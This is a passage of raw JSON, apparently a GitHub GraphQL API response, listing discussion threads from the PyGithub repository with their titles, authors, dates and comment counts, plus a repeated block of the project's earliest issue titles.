484dd684e1&v=4","url":"https://github.com/LuisSFGH"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Do you have plans to add workflows features?","createdAt":"2021-09-16T18:04:39Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wNy0yMFQxNzowMjoxMSswMjowMM4AMK1M","endCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wNy0yMFQxNzowMjoxMSswMjowMM4AMK1M","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AMK1M","url":"https://github.com/PyGithub/PyGithub/discussions/2057#discussioncomment-3190092","createdAt":"2022-07-20T15:02:11Z","author":{"login":"kenorb","avatarUrl":"https://avatars.githubusercontent.com/u/266306?v=4","url":"https://github.com/kenorb"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4APrSb","url":"https://github.com/PyGithub/PyGithub/discussions/2246","number":2246,"author":{"login":"sayakpaul","avatarUrl":"https://avatars.githubusercontent.com/u/22957388?u=16f941c804f69322c2ef8ae73f206202652e76b2&v=4","url":"https://github.com/sayakpaul"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Question on hostname","createdAt":"2022-05-31T07:22:53Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4APqQq","url":"https://github.com/PyGithub/PyGithub/discussions/2242","number":2242,"author":{"login":"sr-murthy","avatarUrl":"https://avatars.githubusercontent.com/u/9358070?u=3049460e40df6452b6d26305142fce380097a4e8&v=4","url":"https://github.com/sr-murthy"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Top repo contributors","createdAt":"2022-05-28T19:01:47Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AOz7S","url":"https://github.com/PyGithub/PyGithub/discussions/2179","number":2179,"author":{"login":"kamaraj-muthupandian","avatarUrl":"https://avatars.githubusercontent.com/u/99426179?v=4","url":"https://github.com/kamaraj-muthupandian"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Connect GHE cloud using OIDC","createdAt":"2022-02-17T06:40:50Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AOw8Q","url":"https://github.com/PyGithub/PyGithub/discussions/2173","number":2173,"author":{"login":"xmo-odoo","avatarUrl":"https://avatars.githubusercontent.com/u/7571158?u=48ca003fd46855fe9e28bbdaa25d8d9760418f1b&v=4","url":"https://github.com/xmo-odoo"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Dedicated builder object for review comments?","createdAt":"2022-02-11T12:27:55Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AOeON","url":"https://github.com/PyGithub/PyGithub/discussions/2155","number":2155,"author":{"login":"yoyomeng2","avatarUrl":"https://avatars.githubusercontent.com/u/23482580?u=2b1e459e0ebcf16d615f6e5762fd2888c7467d97&v=4","url":"https://github.com/yoyomeng2"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"GithubCredentials 401","createdAt":"2022-01-11T19:16:29Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AONXM","url":"https://github.com/PyGithub/PyGithub/discussions/2124","number":2124,"author":{"login":"padmashree12","avatarUrl":"https://avatars.githubusercontent.com/u/48378512?v=4","url":"https://github.com/padmashree12"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Star","createdAt":"2021-12-06T05:57:05Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMi0wNlQwNzo1NjowNyswMTowMM4AGsdN","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMi0wNlQwNzo1NjowNyswMTowMM4AGsdN","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AGsdN","url":"https://github.com/PyGithub/PyGithub/discussions/2124#discussioncomment-1754957","createdAt":"2021-12-06T06:56:07Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zNDkxNjI2","url":"https://github.com/PyGithub/PyGithub/discussions/2013","number":2013,"author":{"login":"simkimsia","avatarUrl":"https://avatars.githubusercontent.com/u/245021?v=4","url":"https://github.com/simkimsia"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to run tests for just 1 test case?","createdAt":"2021-07-31T03:55:00Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNy0zMVQwNjo0Mjo1NSswMjowMM4AELAS","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMi0wM1QxNDoxMjowNiswMTowMM4AGpxM","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"MDE3OkRpc2N1c3Npb25Db21tZW50MTA5MzY1MA==","url":"https://github.com/PyGithub/PyGithub/discussions/2013#discussioncomment-1093650","createdAt":"2021-07-31T04:42:55Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":false,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOABqbAA==","endCursor":"Y3Vyc29yOnYyOpHOABqbAA==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AGpsA","url":"https://github.com/PyGithub/PyGithub/discussions/2013#discussioncomment-1743616","createdAt":"2021-12-03T12:12:42Z","author":{"login":"xmo-odoo","avatarUrl":"https://avatars.githubusercontent.com/u/7571158?u=48ca003fd46855fe9e28bbdaa25d8d9760418f1b&v=4","url":"https://github.com/xmo-odoo"}}]}},{"id":"DC_kwDOADYVqs4AGpxM","url":"https://github.com/PyGithub/PyGithub/discussions/2013#discussioncomment-1743948","createdAt":"2021-12-03T13:12:06Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zNDU2NDg0","url":"https://github.com/PyGithub/PyGithub/discussions/1993","number":1993,"author":{"login":"scoates","avatarUrl":"https://avatars.githubusercontent.com/u/71983?v=4","url":"https://github.com/scoates"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Drop .pyi?","createdAt":"2021-07-12T15:07:04Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMi0wM1QxMjo1Njo1MyswMTowMM4AGpqy","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMi0wM1QxMjo1Njo1MyswMTowMM4AGpqy","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AGpqy","url":"https://github.com/PyGithub/PyGithub/discussions/1993#discussioncomment-1743538","createdAt":"2021-12-03T11:56:53Z","author":{"login":"xmo-odoo","avatarUrl":"https://avatars.githubusercontent.com/u/7571158?u=48ca003fd46855fe9e28bbdaa25d8d9760418f1b&v=4","url":"https://github.com/xmo-odoo"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zNTExNTg4","url":"https://github.com/PyGithub/PyGithub/discussions/2023","number":2023,"author":{"login":"yoyomeng2","avatarUrl":"https://avatars.githubusercontent.com/u/23482580?u=2b1e459e0ebcf16d615f6e5762fd2888c7467d97&v=4","url":"https://github.com/yoyomeng2"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Looking for githubstatus Object?","createdAt":"2021-08-10T17:41:21Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMi0wM1QxMjo0ODo0MSswMTowMM4AGpqF","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0xMi0wM1QxMjo0ODo0MSswMTowMM4AGpqF","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AGpqF","url":"https://github.com/PyGithub/PyGithub/discussions/2023#discussioncomment-1743493","createdAt":"2021-12-03T11:48:41Z","author":{"login":"xmo-odoo","avatarUrl":"https://avatars.githubusercontent.com/u/7571158?u=48ca003fd46855fe9e28bbdaa25d8d9760418f1b&v=4","url":"https://github.com/xmo-odoo"},"isAnswer":true,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zNTA0OTQ4","url":"https://github.com/PyGithub/PyGithub/discussions/2018","number":2018,"author":{"login":"evilensky","avatarUrl":"https://avatars.githubusercontent.com/u/1483180?u=d53bde95822c77eadc38d8d3e7309e0739e02a47&v=4","url":"https://github.com/evilensky"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"audit-log","createdAt":"2021-08-06T01:18:33Z","comments":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"MDEwOkRpc2N1c3Npb24zNTAwNzI2","url":"https://github.com/PyGithub/PyGithub/discussions/2015","number":2015,"author":{"login":"orenzp","avatarUrl":"https://avatars.githubusercontent.com/u/25840401?u=3a55b212cf7de882312a4b3767712248c824e283&v=4","url":"https://github.com/orenzp"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 